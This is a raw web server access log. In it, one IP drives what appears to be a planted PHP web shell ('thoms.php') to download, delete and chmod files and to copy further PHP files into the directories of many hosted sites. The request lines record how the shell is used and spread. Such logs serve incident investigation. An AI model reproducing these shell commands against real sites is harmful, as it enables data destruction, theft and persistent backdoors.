45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ftxets.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ftxets.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?dl=postnews.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13972 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:15 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?dl=txets.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13992 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?del=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?del=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?del=error_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13965 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?del=termps.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13976 "http://163.245.207.76:443/thoms.php?del=termps.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?del=.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13968 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?dl=.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13965 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /bestzyx.com.tw/upgrade/.839679839080856.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=.839679839080856.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=.839679839080856.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ftermps.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Ftermps.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13776 "https://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=.839679839080856.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /bestzyx.com.tw/upgrade/index.php HTTP/1.1" 200 6560 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Findex.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11327 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Findex.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:16 -0400] "GET /thoms.php?del=txets.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13778 "http://163.245.207.76:443/thoms.php?del=txets.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?chmod=postnews.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Fpostnews.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade%2Fpostnews.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?chmod=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13775 "https://163.245.207.76:443/thoms.php?chmod=.839679839080856.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?dl=error_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13777 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?del=postnews.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13778 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19232 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11321 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:17 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21679 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p= HTTP/1.1" 200 12273 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19374 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21701 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bogroup.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=broadweb.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=beauty-dental.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:18 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bestjudy.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21700 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21803 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bft.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=big-wife.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21699 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
